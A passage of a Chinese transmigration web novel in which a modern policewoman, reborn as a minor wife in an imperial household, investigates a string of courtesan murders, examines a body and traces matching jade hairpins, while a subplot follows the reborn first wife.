可是等了大半天，没有等来审问她的人，却等来了她的夫君——宋晏初。
虽然宋晏初进来的时候，面如冰霜，脸色黑得比鬼还难看。但是陆思云看到他还是觉得非常地开心。
她从来没有像现在这样看自己的夫君这么顺眼过。
毕竟她的夫君可是大理寺少卿，定能为她洗脱冤屈。
“宋晏初，我没有杀人！快救我出去！”
谁想宋晏初却在牢房外的椅子上气定神闲地坐下，然后从怀里掏出一张纸仍在她面前。
陆思云定睛一看，顿时有些羞愧难当。
这是昨天
7. 第 7 章
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没过多长时间，陆思云就被接回了宋府。
再次回到熟悉的房间，她的心境跟之前完全不一样了。
之前一直待在宋府，她并不觉得这地方有什么好。但是出去了一遭，她才发现，天大地大却没有她的容身之所。
对她来说，能称之为“家”的，大概也只有宋府了。
“二夫人，您总算是回来了。翠柳求求您了，您就安生待在府内，哪里也不要再去了。你再离家出走，翠柳就只有死在你面前了。”
一回到宅院，翠柳就跟在陆思云的身后，声泪俱下地叨叨了好一会儿。
但是此时的陆思云却全然没有把她的唠叨听进耳朵，她满脑子都在想着昨天晚上发生的事情。
从宋晏初的口中得知，这已经不是第一次发生青楼女子被害的案子，如果再不抓住凶手，很快就会有下一个受害者出现。
一想到这里，她体内的警察魂就开始燃烧。
既然她是其中一个案件的目击证人，那么她就必须做点什么。
讽刺的是，之前她想进六扇门做捕快的时候，她还盼望着能目击个凶案现场，参与到案子里，兴许就可以顺利做上捕快。
没想到，这样的事情居然真的发生了。
但是她一点都不开心，任何人无缘无故失去生命，都不是一件值得高兴的事。
陆思云思前想后，她觉得自己有必要再去一次六扇门，将那天晚上她看到的一些情况告知他们，以便他们能够尽快破案。
想到此处，她立刻朝着门口走去。
刚出院子，就正面遇到从大理寺回府的宋晏初。
见了她，宋晏晏初立刻停下脚步，警惕地问：“你这是要去何处？”
陆思云心里暗暗骂脏话，表面还是一脸地笑嘻嘻：“夫君回来啦，我正要去门口迎接你回府呢。”
宋晏初瞟了她一眼，一眼看穿她的谎话，没有接她的话，而是丢下她转身去了书房。
陆思云见状连忙跟上他。
这还是她第一次来到宋晏初的书房。
往常她最多就是待在自己的房中，从来没有去过宋府别的地方，更何况是男主人的书房。
宋晏初的书房位于主宅邸的东面，书房的门扇镂空雕刻着云纹和鹤翔的图案，显得特别高雅别致。
推门而入，一股淡淡的墨香和木头的气息扑面而来。屋内摆放着一张宽大的红木书桌，桌面上铺着细腻的宣纸，摆放着笔墨纸砚，看来闲暇时他还喜欢练字作画，这倒是让陆思云有些意外。只因宋晏初大理寺少卿的职位，人们先入为主地认为他只会断案，从来不会把他往文人墨客这一类人上联想。
书桌后面是满墙的书架，架子上放满了各种各样的书籍，从经史子集到诗词歌赋，陆思云一看就知道都是她不感兴趣的那些文言文。
“说吧，你又想作甚？”
陆思云不明所以地看着他，宋晏初继续说：“我知道你不是真的特意去门口迎我回来。”
她有一秒被戳穿后的窘迫，但也仅仅只有一秒。
“我就是想过来问问夫君，青楼女子被杀案的进展。”
说到案子，宋晏初抬手捏了捏眉间的褶皱。
陆思云这才注意到他的脸色很差，看上去昨夜似乎是没有休息好。
想来定是案子有些棘手。
“我见过凶手的背影，目睹过案发现场。我可以去一趟六扇门，把我那天晚上看到的情况告知他们，也许能给他们提供一些帮助。”
宋晏初听了她的话，抬起头望向她欲言又止。
虽然相处的时间并不长，但是陆思云还是从他的眼神里读出了他对自己的不放心，于是她再一次保证：“我这次绝对不会给你惹事，也不会跑了。”
案子没有进展，眼下楚星然是唯一的线索，回府的路上，他也想过找她了解一下当天晚上的情况，所以在门口遇到她的时候，他也并不意外，就算她不来找他，宋晏初也准备去她院内寻她了。
“把你那天晚上看到的情形，仔仔细细地说一遍我听。”
陆思云尽可能地，详细地将那天晚上自己所看到的情景，一五一十地告诉给了宋晏初。
宋晏初认真听完之后，道：“也就是说，你只看到了凶手的背影，目测他的身高在五尺四寸左右，没有看清他的正脸。”
“是，当时天色太黑，借助月光，我只能勉强看出他的背影和高度，其他的看不清楚。”
“捕快到现场的时候，看到你在用力按压死者的胸口，这是为何？”
陆思云顿时一阵头疼，她要怎么跟他解释自己的当时是在做心脏复苏救人呢？
忽然，她灵机一动，开口道：“我在救人，我之前听我父亲说过，以前在前线打仗的时候，士兵性命垂危之际，他们就是通过用力按压胸口救他们的。只不过这个方法要在人刚咽气的时候及时使用，方能奏效。我那天也是抱着试一试的心态这么做的，可惜还是晚了一步，没能救那位小娘子一命。”
每每想到此处，陆思云还是会觉得胸口闷闷的，心里很难受。
兴许是看出她真的很难过，宋晏初难得的安慰了她两句：“这件事不能怪你，你也尽了力，无须太过自责。”
“所以我想去六扇门，协助他们抓住凶手。”
“你说什么？”宋晏初挑眉，没想到她竟然这样提议。
“案子现在进了死胡同，而我是案件的唯一目击者，也是唯一的线索，只有我参与到此案，案子才有希望破，夫君心里也清楚得很。”
“大宣国建国以来，从未听说有那个女子进衙门的，你这不是胡闹吗？”
“那夫君敢不敢与我打个赌？”
“打赌？”
“不错，如果我能将此案侦破，你就同意让我去六扇门做捕快。倘若我没办法破案，那我就乖乖呆在府中，从此以后绝对不再踏出府门半步。”
宋晏初目不转睛地看着她，试图想从她的表情中辨别说她此话的真伪。可惜他发现，楚星然是在动真格的，于是他的表情不自觉地也跟着严肃了起来：“你确定，要跟我打这个赌？”
陆思云坚定地点了点头。
她考虑地很清楚，既然她没办法离开宋府，也没办法与眼前的这个男人和离，那么如果她想要走自己的道路，就必须要得到他的认可。
与其每次做任何事都卑微地求他同意，不如就破
8. 第 8 章
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萧楚翊有些不敢相信自己的耳朵：“你方才说，你想去看一下尸体？”
“是。”
陆思云并不害怕死人，以前做警察的时候，她也跟尸体打过交道，还参与过解剖，虽然当时吐得天昏地暗，但是吐着吐着也就慢慢习惯了。
目前案子的进展停滞不前，而自己虽然以目击者的身份强行加入到案件的调查中，但她能提供的线索，也只不过是凶手的身高而已，对案子的进展毫无帮助。
眼下她能想到的，就只有查看尸体，看看能不能从尸体的身上发现一些线索。
“你不害怕吗？”萧楚翊还是有些不确定地问。
陆思云直视他的眼睛，严肃且认真地问：“害怕对破案有帮助吗？”
被她这么直直地看着，萧楚翊突然有些无地自容，他干咳了一声来掩饰自己的尴尬：“好，既然你执意要去查看尸体，那我们现在立刻前往义庄。”
二人骑马来到义庄，还没走进门，就听见一个低哑却依旧苍劲有力的声音：“萧捕头，今儿个怎么一大早就来我这污秽之地啊，也不怕不吉利。”
随后一个满头白发，看上去已经年过半百的男人从里面笑哈哈地走出来。
陆思云还是第一次见到这样精神头足的老头，顿时觉得有些新鲜。
萧楚翊看到这位老人，立刻露出笑容，作揖道：“老孙。”
陆思云忍不住侧头看了他一眼，这还是第一次见到这个凶神恶煞的男人露出这样柔和的表情。
老孙走出来的，一眼就看到了站在萧楚翊身边的陆思云。
“哟，这还带着位姑娘。你这臭小子，怎么带姑娘来我这种地方，也不怕把人家给吓跑了。”
萧楚翊无奈地听着老孙在那唠叨数落自己，等对方说得差不多了，他方才转过身对着陆思云介绍道：“这位是义庄的掌事人，大家都管他叫老孙。”
陆思云听了，对着老孙甜甜地喊了一声。
老孙见状有些反应不过来：“这是……这是……？”
“老孙，我带楚娘子过来查看一下那天晚上被害的青楼女子的尸体。”
老孙听了萧楚翊的话，惊讶地看着陆思云：“你一位姑娘家，居然想要来看尸体？这是何等过人的胆量。”
陆思云被他夸得有些不好意思。
然而办正事要紧，两人在老孙的带领之下来到尸体旁。
一看到尸体，陆思云立刻换上了一副严肃的神情。
她仔仔细细地将死者的尸体从头到尾查看了一遍，着重看了脖颈间的勒痕以及她的四肢。
等检查完尸体，陆思云已经满身是汗，但心中却已经有了一些答案。
萧楚翊和老孙就站在一旁，看着陆思云几乎半个身子都探进了棺材里，全都震惊地说不出话来。
洛城，不，或者说整个大宣国，怕是找不出一个女子像她这般，面对尸体不仅毫无惧色，甚至还贴着尸体闻气味，抬起尸体的手臂放在眼前，这可是闻所未闻，让人大开眼界。
陆思云检查完死者尸体，也不算毫无线索，心情大好地转过头，看到两个男人正瞪大着眼睛一瞬不瞬地看着自己，有些莫名：“你们为何都这样看着我？”
老孙不由得感叹：“小姑娘，你到底是什么来路？”
萧楚翊对陆思云的举动很诧异，他总算看明白，这并非寻常女子。
“你看出什么来了？”
陆思云双目炯炯有神，笑着回答：“死者脖子上的勒痕，左深右浅，由此可以看出凶手是个左撇子。此外，你们看这里。”
她指了指死者颈部的淤痕处，继续说：“右边的手指印上一个凸出的痕迹，说明凶手的右手拇指上戴着什么东西，有可能是个扳指，也有可能是戒指之类的东西。另外还有，死者的四肢并没有挣扎的痕迹，由此可以看出死者与凶手熟识，他定是怡春院的常客。”
老孙忍不住拍案叫绝：“姑娘，神人啊。你可真让我长了见识了。”
陆思云也不过是普通人，谁面对夸奖不会觉得开心呢？
想不到自己以前在警校里学到的那些刑侦知识，来这儿把人唬得是一愣一愣的。
陆思云心里说不出的得意。
萧楚翊暗自打量着眼前的这位女子，内心的震撼不可言说。
自从六扇门第一眼见到她，知道她是来求差事的，一开始觉得很可笑，后来觉得这个女子与旁的女子大不相同。
她不愿守在深闺内院之中，而是想要走进男人当道的职场，实在是勇气可嘉。
方才看她分析从尸体上的痕迹并做出推断，他更是发现，这位楚星然当初说想进六扇门当捕快，并不只是说说而已，她拥有十分敏锐地洞察力，确实很有做捕快的天赋。
尸体刚送来义庄的时候，他就跟着手底下的人过来查看过。
但是当时尸体还比较“新鲜”，许多痕迹都还没显现出来，比如她方才所说的饰品印记，他第一次来查看的时候就并未注意到。
见识到她的能耐，萧楚翊也不像之前那样对她充满不屑，与她说话的语气都和气了许多：“多谢楚娘子，如若不是娘子提醒，我反而遗漏了犯人右手戴有饰品这么重要的线索。”
谁想陆思云不甚在意地摆摆手：“小事一桩。”
查验完尸体，陆思云开始打量起义庄来。
义庄位于洛城西北郊区的山脚下，人迹罕至，整片地区只只坐落着这么一座说大不大的义庄。四周都是一些有高有低的坟堆，有的写有墓碑，有的却是只有一个坟头，除此之外什么都没有。
“这些都是送来义庄的人，有的有姓名，我就给他们立个碑，有的人无名无家，就只能坟塚一座。”老孙走到她的身旁，与她一起看着屋外的一座座坟墓，平淡地说。
“孙先生给孤魂一个归属，已经是大善了。”
“姑娘这等神人，老夫生平还是第一次见，老夫能问问姑娘芳名么？”
陆思云笑着向老孙作揖道：“先生谬赞，我叫楚星然，先生叫我星
9. 第 9 章
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陆思云主意到萧楚翊的拘束和紧张，猜测他也是第一次来这样的地方，有些不适应。
她同样不舒服。
但是就如同她方才在门口所说，他们是来办案的，不是来取乐的。
等陆思云有些适应了这里的喧闹之后，她对着旁边倒酒的侍女问道：“小娘子，可否向你打听个事儿？”
那名侍女生得这么俊俏的公子看着自己，有些脸色羞红地说：“公子请问。”
“小娘子来这怡红院多久了？”
“大概三年有余。”
“那请问娘子，前几天被害的那位歌妓，小娘子是否认识？”
一提到此时，那位侍女的脸色立刻变得煞白，说话开始吞吞吐吐起来：“我、我……我不是很熟悉。”
虽然她嘴上说着不认识死者，但是从她的表情中，陆思云可以肯定，她分明认识死者。
不仅认识，还很熟识。
“实不相瞒，我们是六扇门办差的。”陆思云向萧楚翊使了个眼色，对方立刻领会，偷偷将捕快的令牌从兜里拿出来亮了亮。
侍女见了令牌，七魂吓了六魄，立刻哆哆嗦嗦地说：“我与辰儿姐是一同进的怡红院，我们曾经情同姐妹。后来她成了怡红院的头牌之后，我便做了她的婢女服侍在左右。谁曾想，她竟然会遇到这样的祸事。”
“方才我问你是否认识赵辰儿，你为何要说谎？”
“是老鸨让我们这么说的。辰儿姐跟之前遇害的两位姐姐的事，她都不准我们对外人透露半个字。如果有人问起，一律说不熟悉。”
陆思云与萧楚翊暗暗对视了一眼。
看来这件案子，并没有表面看起来这么简单。
“今日我们是微服私访，并不想声张。小娘子且放心，你与我们说实话，我们保证一定不会将你告知我们的内容说与老鸨听。”
侍女微微地点点头。
“既然你服侍过赵辰儿，那你可知她的常客是哪几位公子？”
侍女认真想了想，道：“京城王公子弟众多，每天都有不同世家子弟重金来买与辰儿姐共度一夜。我实在想不出是哪几位。”
赵辰儿与之前遇害的两位青楼女子，都是这怡红院的头牌人选。慕名而来的王公贵族自然不计其数。
原本以为这次来怡红院能发现一些别的什么线索，看来也是无功而返了。
忙碌了一天，一直到天黑，陆思云才回到宋府。
此时她已经瘫倒在太妃椅上，累得说不楚一句话。
翠柳见她回来，连忙走过来，给她端茶送水：“二夫人，您总算回来了。翠儿在府里等了大半天，可担心坏了。”
去义庄之前，陆思云便嘱咐翠柳先行回府。她自己不怕看到尸体，不代表翠柳不害怕。反正她一个人也能行事，无须人跟着，便打发翠柳回去了。
没想到，这一出去就是一日之久，并且收获不多，着实让她心情很低落。
她接过翠柳递过来的茶水，喝了一大口，这才想起来，自己出去忙活了半天，居然一口水都没喝。
方才在怡红院，光顾着跟小娘子打探情况，桌上那么多好吃好喝的，自己愣是一口没吃，这么想起来实在是太亏了。
见她累成这样，翠柳跪在她旁边给她捶腿，边捶边问：“夫人您白天去了哪里，怎么这么晚才回府？”
陆思云半躺在卧榻上，闭着眼享受着翠柳的按摩，闷声道：“去了义庄。”
谁想听到“义庄”二字，翠柳便停下了手中的动作，瞪大了眼睛尖叫：“义庄？”
陆思云被她突然拔尖的嗓子吓了一个激灵，她佯装生气地轻轻拍了一下她的肩膀：“干吗叫那么大声，吓我一跳。”
“夫人，您怎么能去义庄那么晦气的地方。我赶紧去打盆洗澡水，伺候您沐浴更衣，去去晦气。”
陆思云随她去，她也确实累得不行，洗个澡放松一下身心也是好的。
等她沐浴完出来，换上轻薄的丝质内衫，这才感觉方才沉重的身体轻松了许多。
翠柳一边伺候她漱口，一边忍不住唠叨：“二夫人，下次您别再去义庄那么晦气的地方了。翠柳光是听见这两个字就背后发凉。”
陆思云这会儿精神好了许多，也有心情跟她扯些有的别的：“我不止去了义庄，我今天还去了怡红院。”
果不其然，她再一次看到翠柳的眼睛瞪得跟个鸡蛋似的。
“怡红院？是那个怡红院吗？”
“洛城除了那个怡红院，还有别的怡红院么？”
“我的姑奶奶，那种地方是男人去消遣的，您去干什么呀？”
“我能去做什么，我自然是去查案的。”
“二夫人，自从您高处落下晕倒三日，醒来之后怎么突然喜欢上查案了，您以前心里眼里只有姑爷。您到底是怎么了？”
陆思云靠在卧榻上，闲事地闭着眼，淡淡地道：“没什么好大惊小怪的，我只是不想跟以前一样，将自己的下半生完全寄托在一个男人身上。”
“可是您已经嫁给姑爷，这下半辈子就是得跟他绑在一起，姑爷好您才能过得好啊。”
陆思云抬头望向她，表情已经没了方才的闲适，带着几分严肃，且眼神微冷：“无论男人还是女人，他的人生都应该握在自己的手中。我的未来该是掌握在我自己的手里，而不是旁人手中。”
翠柳看着她，满脸不解。
她听不懂这些话，但是她却可以感觉的到，眼前的二夫人跟之前已经全然不同。
“好一个命运要掌握在自己手中。”
屋外突然传来声音，是宋晏初。
陆思云听见声音神色一凛，立刻起身迎接。
宋晏初走进屋，一眼看到她穿着里衣就这么站在那里，立刻下意识地侧过头去。
见他侧头，陆思云这才意识到自己没穿外衣，但她思想到底是现代的思想，此时并没有任何羞怯之色，而是有些抱歉地笑道：“不知夫君这么晚过来，我正准备歇下。”
翠柳见状立刻拿过一条棉质披肩披在她身上，又顺势沏了两杯茶，然后悄然退下。
二人坐在桌案两侧，宋晏初看她满脸倦容，开口问：“我过来就是想问问你，今日情况如何，不想这么早你就准备歇下了。”
“无妨，原本也是应该先同夫君汇报一番才是。”
陆思云强打起精神，将自己白天跟萧楚翊查到的
10. 第 10 章
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“我还听闻，前几日这二夫人偷偷翻墙离家出走，被姑爷抓了回来。之后这几日二夫人天天出府，也不知在忙些什么。”
“离家出走？”
这一点都不像楚星然的作风。
虽然她是镇北候之女，从小习武，又是那样张扬的性格，按理来说这深闺秘院是关不住她的。但自从嫁给宋晏初，她便恪守妻子的本分，虽然脾气暴躁，但入府后竟是安安分分地待在府中很少出府。
莫婉晴一度以为，她要不是爱惨了宋晏初，愿意为了他心甘情愿地被关在内宅，那么就是她原本骨子里便是一个守规矩的女子。
但是现在，她却一改常态，不但对自己的态度突然转变，甚至也不愿日日待在院中乖乖等夫君回来。
她到底发生了什么，怎么突然完全变了一个样。
难道真的摔坏脑子了？
见自家夫人一言不发地坐在那，碧水有些着急：“夫人，以前姑爷不把二夫人放在眼里，对您构不成威胁。如今姑爷看样子对二夫人也并不是那么无动于衷了，您可不能再向以前那样对姑爷冷冰冰了，不然姑爷怕是要被对面那位抢了去。”
听了碧水的话，莫婉晴凉凉地看了她一眼，沉声道：“我何时说过，需要姑爷的怜爱？”
“但是您毕竟是姑爷八抬大轿娶进门的妻子呀。夫妻一场，做妻子的总希望丈夫可以疼爱自己一些啊。碧水不明白您为何要待姑爷这般冷漠，像是要把姑爷往外推一般，您这是图什么呀？”
莫婉晴垂眸不语，她什么也不图，只图能够在宋府安安稳稳地过完余生。
自从她重生回自己未出阁的那一刻起，她就是这么打算的。
重活一世，她决定不任性、不执着、无贪念，无欲无求地过完这一世。
无论如何，她都不想再经历上一世的苦痛。
上一世，她遇到了自己的命中之劫，不顾父亲的反对，毅然与那人私奔。
她以为她抓住了自己的幸福，主宰自己的命运。她以为她的下半身可以与自己心爱之人相伴一生，白头偕老。
却没想到，她却被人无情抛弃。
当她病重躺在乡野的茅草屋中，无人问津，内心充满了绝望。
弥留之际，她十分后悔，后悔当初忤逆了父亲，不顾家族颜面毅然逃婚，如今落得客死异乡、含恨而终的下场。
可等她再次醒来时，发现自己重新回到了未出阁之时。
这一次，她决定不再任性妄为。
她虽然自小就把宋晏初当成弟弟，并无儿女之情。但是这次她遵从父亲的意愿毫不犹豫地嫁进宋府。
好在宋晏初是君子，知道自己对他并无爱意，所以从未勉强过她，对她一直是以礼相待。
她心存感激，却无法对他坦诚相待。
虽然上天给了她一次重新来过的机会，但是上一世的记忆实在太过惨痛，每每想起都让她痛不欲生。
她只想安稳度日，所以对任何人任何事全都不上心。她既没有兴趣与楚星然抢夫君，也没有兴致管理这宋府后院。对她而言，这宋府不过是一个收留她的住所，并不是她的家，所以她根本就不想也不愿去管理。
碧水见她这副不争不抢的模样，自然以为她心中依旧放不下心上人，一直都是恨铁不成钢地抱怨她。
莫婉晴也懒得跟她解释。
次日，陆思云起床梳洗打扮一番，然后精神抖擞地前往前厅用早膳。
宋晏初还未到，桌前只有莫婉晴一人现在那里等候。夫君没来，她们自然是不能坐下来先吃的。
陆思云见了她，脸上立刻露出欣喜的笑容。
谁一大早见到美女，不会觉得心旷神怡呢？
“莫姐姐，你来得这么早啊。”
“我们夫人向来早起，不像二夫人这般随意。”
莫婉晴皱眉，沉声呵斥：“碧水！”
被自己夫人吼了一声，碧水只能瞪了她们一眼，乖乖退到自己夫人的身后。
翠柳见碧水说话不客气，便也立刻回击：“我家夫人来得也并不晚啊，这不姑爷都还没来呢。”
碧水对着她做了一个鬼脸，翠柳也不甘示弱地朝她吐了吐舌头。
两位夫人看自家丫鬟跟小孩儿似的斗嘴，无奈地相视一笑。
“听闻妹妹最近经常出府，可是家中出了什么事？”
陆思云摆摆手：“莫姐姐放心，家中一切安好。只是最近卷入一桩命案，我正在配合六扇门进行调查。”
莫婉晴听了，脸色立刻白了，她下意识地握住陆思云的手：“命案？妹妹还亲自去查，这实在是太过危险。妹妹不妨将此事交给夫君，他是大理寺少卿，定能帮妹妹解决此案。”
察觉出对方是真的关心自己，陆思云心里十分高兴，她反握住那只白皙玉手说：“莫姐姐不用担心，我自有分寸，我已与夫君打了赌，要是我能破了此案，他便允诺我去六扇门当差，所以这个案子我势在必得。”
“六扇门？当差？”莫婉晴突然有些听不懂这楚星然的话。
一个已出阁的女子，为何想要去衙门当差？
她发现，自己似乎从未真正了解过楚星然。
莫婉晴还想再问些什么，宋晏初却在这个时候走进前厅。
于是她只能压住满肚子的好奇心，心情复杂地坐下用膳。
一顿早膳，吃的那叫一个心不在焉，食不知味。
宋晏初吃了两口，问向一旁的陆思云：“你今日打算去何处？”
原本在吃东西的陆思云立刻将口中的食物囫囵吞下，一边捶着胸口给自己顺气，一边回答道：“我今日想再去怡红院，昨天并没有问出什么有用的信息，我打算去赵辰儿的房间查看一下。”
一听她又要去那烟柳之地，宋晏初立刻眉头紧皱忍不住要发作。
陆思云见状立刻说道：“夫君请放心，我这次还是会男装打扮进去，且不会暴露自己大理寺少卿二夫人的身份。”
听她这样说，宋晏初也只能默认应允。他端过一旁的茶水递到她面前，举动十分自然，但周围的人全都震惊地瞪大了眼睛。
楚星然入府以来，宋晏初从未对她表现过一丝一毫的关怀，今日居然给她递茶水？
碧水下意识地看向自家夫人，发现
11. 第 11 章
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这次，萧楚翊穿着衙门的官服，带着陆思云，光明正大地走进怡红院。
二人一进怡红院的大门，老鸨立刻迎上来：“官差老爷来了，快里头请。来人，备最好的茶水招待两人官爷。”
“不必了！”萧楚翊打断她：“我们是来查案的。赵辰儿的房间在何处？”
听闻他们是来查案的，老鸨的脸色微变，她下意识地想挡在他们面前，试图阻止二人继续往里走。可她深知这是徒劳，衙门的人想要调查，她也只有配合的份儿。
陆思云他们来到赵辰儿的房间内，案子还未结，萧楚翊命人嘱咐过，死者的房间不准任何进入。所以屋内虽然被人打扫过，但梳妆台上的金银首饰依旧在放在那里，屋里的陈设也依旧如初，没有人敢动。
“上次我来这里查看过一次，屋里没什么特别。”萧楚翊说道。
陆思云站在梳妆台前，看着满桌子的首饰，开口道：“赵辰儿不愧是怡红院的头牌，从这些首饰的成色和精致程度，就知道价值不菲，看来那些王公子弟们没少花钱在她身上。”
既然是怡红院的头牌，自然住的房间、吃穿的档次都会比其他人都要好很多倍，这不足为奇。
只看赵辰儿一人的屋子，并没发现什么异常之处。
“我能否看一看另外两位死者的房间？”陆思云转头看向萧楚翊问。
萧楚翊爽快点头，然后领着她去了另一个死者的房间。
这位受害者的房间与赵辰儿的，无论是布局还是摆设都相差不大。
看来，这大概就是怡红院头牌的待遇标准了。
陆思云绕着房间走了一圈，也同样并未发现什么特别之处。她又走到梳妆台前，翻看受害者的首饰盒。
突然，萧楚翊“咦”了一声，在他的惊叹中，陆思云将一支白玉簪拿了出来。白玉簪洁白无瑕，一看就是上等货色，在这一种金银珠宝中，显得尤为素雅。
“这个簪子……”
陆思云拿着簪子，露出一抹笃定的笑容，接着萧楚翊的话说：“这支白玉簪，方才在赵辰儿房中，见到一支一模一样的。”
萧楚翊神色一凛，看向她的眼神有了一些钦佩。
“我们现在只要去看一下第一位受害者的房间里，是否有这白玉簪，就可以推断出凶手就是送簪之人。”
二人立刻去了第一位受害者的房间。
果不其然，在她的首饰盒里，找到了与前两只款式质地都相同的白玉簪。
陆思云把玩着白玉簪，露出胜券在握的神情：“看来我们的这位凶手，很喜欢送头牌娘子白玉簪作为礼物。”
萧楚翊将白玉簪递到旁边手下手中，嘱咐道：“去查查这个白玉簪出自何处。”
“是。”
案子有了重大进展，陆思云心情大好。她有预感，自己离进六扇门当捕快这个目标不远了。
“萧捕快，今日收获颇丰，不知我有没有这个荣幸，邀请萧捕快去喝一杯，庆贺一下。”
经此一遭，萧楚翊对眼前的这位小娘子有了很大的改观，受到邀请自然也不会推辞：“荣幸之至。”
两人来到酒楼，陆思云要了一间包厢，特意点了一些上等的好菜招待他。
萧楚翊见她这个阵仗，便知她这是“醉翁之意不在酒”，今日怕不是个“鸿门宴”。
他也不是一个擅长拐歪抹角的人，刚坐下便问：“楚娘子今日约我喝酒，是有何事与我相谈？”
陆思云微笑地给他满上一杯酒，“萧捕头这是何意？案子有了进展，我特邀萧捕头一起庆祝一番，能有什么事呢？”
“既然案子进展顺利，那接下来的事就交给我们六扇门，楚娘子不可再继续跟进冒险了。”
听闻他这话，陆思云的脸色微变，“萧捕头这是何意？我好心请你喝酒，你却想借此把我甩开？”
“破案缉凶本就是我们衙门捕快做的事，你一女子，干涉得已经够多了。”
陆思云冷笑：“萧捕快这是想过河拆桥？您可别忘了，没有我的帮忙，你能那么快找到白玉簪这个线索？更何况，白玉簪的主人还未找到，萧捕头如何肯定只凭你一人，就能把他找出来？”
萧楚翊没有说话。
确实如楚星然所说，如果没有她的帮忙，他们定然是不能这么快找到白玉簪这个重要线索。
现在只能推断出，凶手就是送三位受害者白玉簪的人，但具体是谁，尚未可知。还需要进一步的查探。
陆思云见他犹豫，便不紧不慢地再给他斟上酒：“萧捕头不用急着把我从这个案子里摘出去，我知道以萧捕头的为人，断然不是想独抢了这个功劳去，只是担心我如果再涉入此案会有生命危险罢了。”
萧楚翊没想到她竟然会猜中自己心中所想，有些诧异。
“白玉簪价格不菲，能送得起这白玉簪的人，在这皇城中内，定是非富即贵之人。萧捕头不想让我再插手此案，是担心此案牵扯出来的人，位高权重，是你我都不能得罪的人，怕我有杀生之祸，我猜的对吗？”
对于楚星然的聪慧，萧楚翊十分佩服和赏识。正因为欣赏她这份聪颖，才不想她继续再冒险。
见对方没有说话，陆思云断定自己的猜测是正确的，于是她继续说道：“星然感谢萧捕头的关心，只是这个案子对我来说非常重要，我必须要亲手抓到凶手不可。”
“为何？”
“实不相瞒，我与人打了赌，倘若我能将此案的真凶绳之以法，我就可以来你们六扇门当差。”
“你说什么？你真的想要来六扇门当差？”萧楚翊没想到，初次见面她来到六扇门求职，原本以为只是玩笑，没想到她竟然是认真的，并且认真至此。
陆思云毫不犹豫地点头：“正是。之前你们在门口将我堵了回去，当时我就同萧捕头说过，我们还会再见面。你看，我并没有说谎，我们真的又碰面了。”
“答应你此事的，是何人？”萧楚翊看着她，表情认真且严肃地问。
“恕我不能告知萧捕头。”
既然对方有难言之隐，萧楚翊也并不是个会追根问底的人。
更何况，一个女子能有如此的胆识和智慧
12. 第 12 章
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陆思云跟随宋晏初来到书房，将白天怡红院里发现的白玉簪一事告知了他。
“你是说，送三位受害者白玉簪的人，就是凶手？”
陆思云点头：“这是三个受害者的共同点之一。”
宋晏初低头仔细查看陆思云带回来的白玉簪，说：“此白玉簪是用上好的和田玉制作而成，整个洛城，能拥有此和田玉的人家，怕是不多。”
陆思云听闻大喜：“如此甚好，就怕这白玉簪是谁人都能买得起的次等货。如若是稀有玉，那找到此白玉簪的源头，怕不是什么难事。”
宋晏初的脸上却没有喜悦之色。
白玉簪的质地既然是上等的和田玉，那凶手的身份怕是不容小觑，到时候也许会牵扯出更大的事端来也说不一定。
陆思云看他忧心的神情，自然知道他在担心些什么。
想来他的顾虑与萧楚翊一致。
他们这些官场之人，都对朝廷上的事情或多或少都知晓一些，里面的歪歪绕绕，各种牵扯自然都心知肚明。
但是眼下对陆思云来说，最重要的还是抓到凶手，让他不再祸害他人，无论他的身份如何，都必须将他绳之之法，还死者一个公道。
“对了夫君，之前你说会去查探光顾这三位受害者的常客，可有查到是哪几人？”
原本宋晏初也是想回府跟她说与此事，却不想回来发现楚星然竟然还没回来。
他在书房左等右等，一直等到天黑，都没等到楚星然回府，他从一开始的生气慢慢转变为担忧。
担心她这么晚没回家，是不是出了什么事？
他开始后悔同意她参与案子的调查。查案本就是衙门和大理寺的事，她一个深闺女子，又何必做这般危险之事。
左思右想，心中的担忧越来越大，最终宋晏初实在坐不住，立起身走出宋府，准备去寻她。
没想到在门口遇到喝得微醺回家的她。带着点得意洋洋的笑，告诉自己案子有了重大发现。
想到这里，他还是忍不住怨愤十足：“我原本就想回府告知你此事，你可到好，这么晚还不回府，真是成何体统！”
“夫君教训的是。星然下次一定不会这么晚才回来了。夫君快告诉我吧，到底是哪几位公子？”
“三位受害者共同的常客一共有三个人，礼部尚书之子周世杰，詹事府少詹事之子裴思铭，光禄寺卿之子行赵凡。个个都是贵门之子。”
“想不到，贵门之子也喜好来这烟柳之地。也就是说，这白玉簪的主人，是他们三人之一咯。多谢夫君，感觉这赌注的胜者，非我莫属了。”
“你别得意得太早。就算你查出白玉簪的主人是谁，你又如何证明，他就是凶手呢？”
“这个么……我自有法子，夫君无须担心。”
她越是这么说，越让宋晏初放心不下。
现在的楚星然，可与之前的不同，活脱脱一个闯祸精，不确定的因素太多，保不准她下一步会出什么幺蛾子。
“你可千万不可胡来。不然就算你赢了赌注，我也不会允许你去六扇门当差。”
一听这话，陆思云忍不住急了：“夫君堂堂大理寺少卿，怎能言而无信？”
“只要你应允我，绝不胡来，我自然君子一言驷马难追。”
陆思云咬牙应下。
她心里也不是很有底，她不能保证自己为了破案使用非常手段，只是她现代人的做法在他们这帮老古董眼中，怎么做都是出格的行为。
但是眼下，她除了答应宋晏初，也别无他法，先答应了再说。
第二天一早，用过早膳后，陆思云便立刻前往六扇门，将昨晚宋晏楚查到的这三个人告知萧楚翊，让他去查一查白玉簪是否出自这三人中的一人。
如能确定白玉簪是这三人中的一人所有，那么就能锁定凶手人选。
接下来要做的，就是请君入瓮了。
在等消息期间，陆思云带着翠柳去逛街喝茶，十分惬意。
她自从参与了六扇门的案子之后，便可以随时进出宋府，无需再经过宋晏初的准许，这让她像匹脱缰了的野马，一刻都在府中内院待不下去。哪怕是现在得闲了，也宁愿带着丫鬟走街串巷，也不愿留在府内。
陆思云的这一行径，自然在宋府上下传开了。
“夫人，你看看二夫人，还有没有已为人妇的自觉。天天带着翠柳在外抛头露面，这成何体统，您作为宋家大夫人，不需要敲打一下她？”
莫婉晴坐在院子内摇着蒲扇，脸上没有任何表情：“她出门是少卿同意的，连这座宅子的主人都同意她随意进出宋府，我又有什么好反对的。”
“夫人，有些话碧水早就想说了，您不能再这样消沉下去了。既然已经嫁给姑爷为妻，成为了宋府大夫人，您就应该有所觉悟，这里以后就是您的家，姑爷是您的夫君，您有责任帮他打理好内府的事务，让姑爷在外可以无后顾之忧。”
对于自己贴身丫鬟的斥责，莫婉晴并不恼怒，而是淡淡地问道：“碧水，你是不是也觉得，我意志消沉，活得毫无生气。”
